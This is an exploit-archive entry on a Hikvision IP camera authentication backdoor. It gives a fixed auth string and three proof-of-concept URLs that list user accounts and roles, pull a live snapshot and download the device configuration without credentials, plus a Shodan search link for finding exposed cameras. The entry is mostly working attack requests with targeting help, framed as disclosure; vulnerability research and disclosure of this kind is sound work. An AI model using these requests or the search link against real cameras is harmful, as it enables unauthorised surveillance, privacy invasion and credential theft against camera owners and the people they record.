Hikvision IP Camera Backdoor

`# Exploit Title: Hikvision IP Camera - Backdoor  
# Date: 14/03/2022  
# Exploit Author: Sobhan Mahmoodi  
# Reference: https://ipvm.com/reports/hik-exploit  
# GitHub: https://github.com/bp2008/HikPasswordHelper/  
  
Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)  
  
# Proof of Concept:  
  
Retrieve a list of all users and their roles:  
- http://camera.ip/Security/users?auth=YWRtaW46MTEK  
  
Obtain a camera snapshot without authentication:  
- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK  
  
Download camera configuration:  
- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK  
  
Shodan link to monitor :  
https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22  
  
`